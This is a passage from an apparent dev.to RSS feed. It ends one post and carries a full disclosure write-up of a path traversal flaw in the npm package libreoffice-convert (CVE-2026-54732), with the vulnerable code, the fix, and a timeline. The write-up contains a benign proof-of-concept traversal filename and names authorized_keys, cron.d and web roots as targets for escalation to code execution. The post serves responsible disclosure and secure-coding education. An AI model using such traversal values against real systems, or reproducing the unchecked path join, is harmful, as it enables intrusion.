&lt;p&gt;Advisory: &lt;code&gt;GHSA-vgx6-6cqr-m8qr&lt;/code&gt; / &lt;strong&gt;CVE-2026-55610&lt;/strong&gt; (High, 8.7). Thanks to the maintainer for the quick fix.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Your turn:&lt;/strong&gt; how do you keep read and write authorization in sync across a multi-tenant app — shared policy helpers, a global tenant scope, tests that assert 403 across tenants? Curious what's worked for you.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>php</category>
      <category>appsec</category>
    </item>
    <item>
      <title>One unchecked filename let a popular npm document converter write to any path on disk (CVE-2026-54732)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Sun, 02 Aug 2026 15:24:41 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/one-unchecked-filename-let-a-popular-npm-document-converter-write-to-any-path-on-disk-9a3</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/one-unchecked-filename-let-a-popular-npm-document-converter-write-to-any-path-on-disk-9a3</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;libreoffice-convert&lt;/code&gt;, a widely used npm wrapper around LibreOffice, built the output path from a &lt;strong&gt;caller-supplied &lt;code&gt;fileName&lt;/code&gt;&lt;/strong&gt; and never reduced it to a base name.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;fileName&lt;/code&gt; containing &lt;code&gt;../&lt;/code&gt; escaped the temp directory, so a caller could write arbitrary content to &lt;strong&gt;any path the process could write to&lt;/strong&gt; — &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;, an &lt;code&gt;/etc/cron.d&lt;/code&gt; entry, a web root. Arbitrary file write, one short hop from RCE.&lt;/li&gt;
&lt;li&gt;Fixed in &lt;strong&gt;1.8.2&lt;/strong&gt; (adds &lt;code&gt;path.basename&lt;/code&gt;). Assigned &lt;strong&gt;CVE-2026-54732&lt;/strong&gt; (Moderate, 6.5). I reported it and am credited as Reporter.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;libreoffice-convert&lt;/code&gt; is a small, popular building block: apps call it to turn a DOCX/HTML/ODT buffer into a PDF. It's exactly the kind of dependency that quietly sits behind an "upload and convert" feature. And in document pipelines, the filename is &lt;em&gt;very often&lt;/em&gt; influenced by user input — so this turns an innocent "convert my file" into "write a file wherever you want."&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;The API looks harmless — you hand it a buffer and a target format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;libre&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;libreoffice-convert&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// convert a buffer to PDF, with a caller-provided output fileName&lt;/span&gt;
&lt;span class="nx"&gt;libre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;convertWithOptions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inputBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.pdf&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;fileName&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, the converted document is written into a temporary directory, using that &lt;code&gt;fileName&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;Simplified, the vulnerable path looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;outPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tempDir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// fileName is caller-controlled&lt;/span&gt;
&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;documentBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;         &lt;span class="c1"&gt;// written verbatim&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;fileName&lt;/code&gt; is never reduced to a base name before it's joined. And &lt;code&gt;path.join&lt;/code&gt; is not a sandbox — it happily resolves &lt;code&gt;..&lt;/code&gt; segments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/tmp/abc123&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../../../home/app/.ssh/authorized_keys&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// =&amp;gt; '/home/app/.ssh/authorized_keys'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the write lands wherever the traversal points.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08dpt8jngkszzvzrwi6f.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08dpt8jngkszzvzrwi6f.gif" alt="Animated story: attacker-controlled filename travels App -&gt; libreoffice-convert -&gt; Filesystem, escapes tmpDir into an arbitrary file write, fixed by path.basename in v1.8.2" width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The library treated &lt;code&gt;fileName&lt;/code&gt; as a &lt;em&gt;name&lt;/em&gt;, but &lt;code&gt;path.join&lt;/code&gt; treats it as a &lt;em&gt;path&lt;/em&gt; — and nobody called &lt;code&gt;path.basename()&lt;/code&gt; in between.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;A marker file, not a weapon — just enough to prove the write escapes the temp dir:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;libre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;convertWithOptions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.pdf&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../../../tmp/pwned-by-poc.pdf&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="c1"&gt;// -&amp;gt; writes to /tmp/pwned-by-poc.pdf, outside the intended temp directory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repoint that &lt;code&gt;fileName&lt;/code&gt; at &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;, an &lt;code&gt;/etc/cron.d/*&lt;/code&gt; file, or a script inside a web root, and "arbitrary file write" becomes "arbitrary code execution."&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Version &lt;strong&gt;1.8.2&lt;/strong&gt; wraps the value in &lt;code&gt;path.basename(fileName)&lt;/code&gt;, which strips any directory components so the write can't leave the temp directory. One line.&lt;/p&gt;

&lt;p&gt;If you use this package: upgrade to &lt;strong&gt;&amp;gt;= 1.8.2&lt;/strong&gt;. If you're pinned for now, call &lt;code&gt;path.basename()&lt;/code&gt; on any filename you pass in — and never forward a user-supplied filename unvalidated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Any time you build a filesystem path from a caller-supplied string, &lt;code&gt;path.basename()&lt;/code&gt; it. &lt;code&gt;path.join&lt;/code&gt; cleans &lt;code&gt;..&lt;/code&gt;, it doesn't &lt;em&gt;contain&lt;/em&gt; it.&lt;/li&gt;
&lt;li&gt;"It's just a filename" is a trap. In upload/convert/document pipelines, the filename is routinely attacker-influenced.&lt;/li&gt;
&lt;li&gt;Write-path bugs are quieter than read-path ones and often worse: arbitrary write is a short hop to RCE via SSH keys, cron, or a web root.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-09&lt;/strong&gt; — reported privately to the maintainer (and via Snyk), coordinated disclosure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-04&lt;/strong&gt; — fix released in &lt;strong&gt;1.8.2&lt;/strong&gt; (&lt;code&gt;path.basename&lt;/code&gt;); advisory published.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-54732&lt;/strong&gt; assigned; credited as Reporter.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Advisory: &lt;code&gt;GHSA-gmxc-r82q-347r&lt;/code&gt; / &lt;strong&gt;CVE-2026-54732&lt;/strong&gt;. Thanks to the maintainer for the fast, clean fix.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Your turn:&lt;/strong&gt; do you have a hard rule for user-supplied filenames in your services, or is it case-by-case in review? What's caught this for you — lint, a wrapper, a code-review checklist? Curious what people use.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>node</category>
      <category>appsec</category>
    </item>
  </channel>
</rss>
